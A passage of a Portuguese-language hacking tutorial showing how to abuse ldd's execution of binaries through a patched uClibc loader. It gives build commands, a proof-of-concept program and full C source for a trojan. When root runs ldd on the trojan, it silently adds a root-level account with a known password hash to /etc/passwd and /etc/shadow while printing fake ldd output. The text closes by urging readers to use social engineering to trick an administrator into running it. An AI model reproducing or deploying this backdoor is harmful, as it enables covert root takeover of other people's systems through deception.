biblioteca C "uClib" (http://www.uclibc.org/) e configura-la da seguinte forma:Crie um diretorio onde deseja fazer os testes (Ex.: /home/usuario/teste ), baixe a uClib em http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2Descompacte, entre no diretorio criado (uClibc-0.9.30.1) e execute o comando "make menuconfig" para selecionar o tipo de arquitetura do sistema do sistema (na maioria dos casos usa-se a i386),Salve e saia, depois altere o arquivo .config e configure o diretorio de destino da instalacao para o diretorio que voce criou (/home/usuario/teste no nosso exemplo)---# Mudar deRUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"# ParaRUNTIME_PREFIX="/home/usuario/teste/uclibc/"DEVEL_PREFIX="/home/usuario/teste/uclibc/usr/"---Agora precisamos comentar da linha 406 ate a linha 410 no arquivo "ldso/ldso/ldso.c"---/* if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) { trace_loaded_objects++; }*/---Agora basta o classico "$make && make install" para compilar e instalar nossa lib alterar no diretorio "/home/usuario/teste" =DDai podemos criar um executavel e "linka-lo" a essa lib, desta forma sempre que o ldd chama-lo ele executara o codigo que quisermos.. 8-]Vamos ao primeiro codigo de teste:Crie um arquivo "ldd-world.c" com o conteudo abaixo-- #include #include int main() { if (getenv("LD_TRACE_LOADED_OBJECTS")) { printf("Executando comando via ldd\n"); } else { printf("Alo Mundo!!!\n"); } return 0;}--O codigo acima e bem basico e ele checa se a variavel LD_TRACE_LOADED_OBJECTS esta setada (o que significa que ele esta sendo chamado atraves do ldd), se ela estiver setada ele exibe a mensagem "Executando comando via ldd" caso contrario ele exibe a famosa mensagem "Alo Mundo". Agora vamos compila-lo, essa parte nao basta executar o velho "gcc -o" pois precisamos lincar esse codigo a nossa uClib preparada anteriormente, entao para compilar usaremos o seguinte comando:---$ UCDIR=/home/usuario/teste/uclibc$ gcc -Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 -Wl,-rpath-link,$UCDIR/lib -nostdlib ldd-world.c -o ldd-world $UCDIR/usr/lib/crt*.o -L$UCDIR/usr/lib/ -lc---Explicando:-Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 --> Configura o novo loader (repare que nao deve ser o ld-linux.so)-Wl,-rpath-link,$UCDIR/lib --> Configura o diretorio onde o loader ira procurar suas dependencias-nostdlib --> Usado para que o programa nao utilize bibliotecas do sistemaldd-world.c -o ldd-world --> Compila o ldd-world.c criando o executavel ldd-world$UCDIR/usr/lib/crt*.o --> Link estatico para o codigo em tempo de execucao-L$UCDIR/usr/lib/ --> Diretorio onde o programa deve progurar a libc-lc --> link com a biblioteca CAgora vamos ao teste.---$ ./ldd-world Alo Mundo!!!---Ate aqui OK como nao chamamos ele com ldd a variarel LD_TRACE_LOADED_OBJECTS nao foi setada e o programa nao faz nada. Agora vamos chamar o programa com o ldd--$ ldd ldd-worldExecutando comando via ldd--Aeeee OWNED !1!!!!1 :pAbaixo segue um codigo mais trabalhado que adiciona o usuario "own" com a senha "owned" no sistema caso o ldd seja executado pelo root.... =P---/* Nao rode este codigo na sua maquina local.aconselho o uso de maquinas virtuais para testes*/#include #include #include #include void pretend_as_ldd(){ printf("\tlinux-gate.so.1 => (0xffffe000)\n"); printf("\tlibat.so.0 => not found\n"); printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n"); printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");}void passwd_file(){ FILE * pFile; pFile = fopen ("/etc/passwd","a+"); fprintf (pFile, "own:x:0:0::/root/:/bin/sh\n"); fclose (pFile); pFile = fopen ("/etc/shadow","a+"); fprintf (pFile, "own:$1$gK1UdW1V$NSlmLeLSns7q0hDPDhkvY0:::::::\n"); fclose (pFile);}void malicious(){ if (geteuid() == 0) { passwd_file(); }}int main(int argc, char **argv){ if (getenv("LD_TRACE_LOADED_OBJECTS")) { malicious(); pretend_as_ldd(); return 0; } printf("%s: error while loading shared libraries: libat.so.0: " "cannot open shared object file: No such file or directory\n", argv[0]); return 127;}---Apartir daqui basta treinar as suas tecnicas de engenharia social para fazer o admin executar o ldd no seu programa =pUsem com cuidado.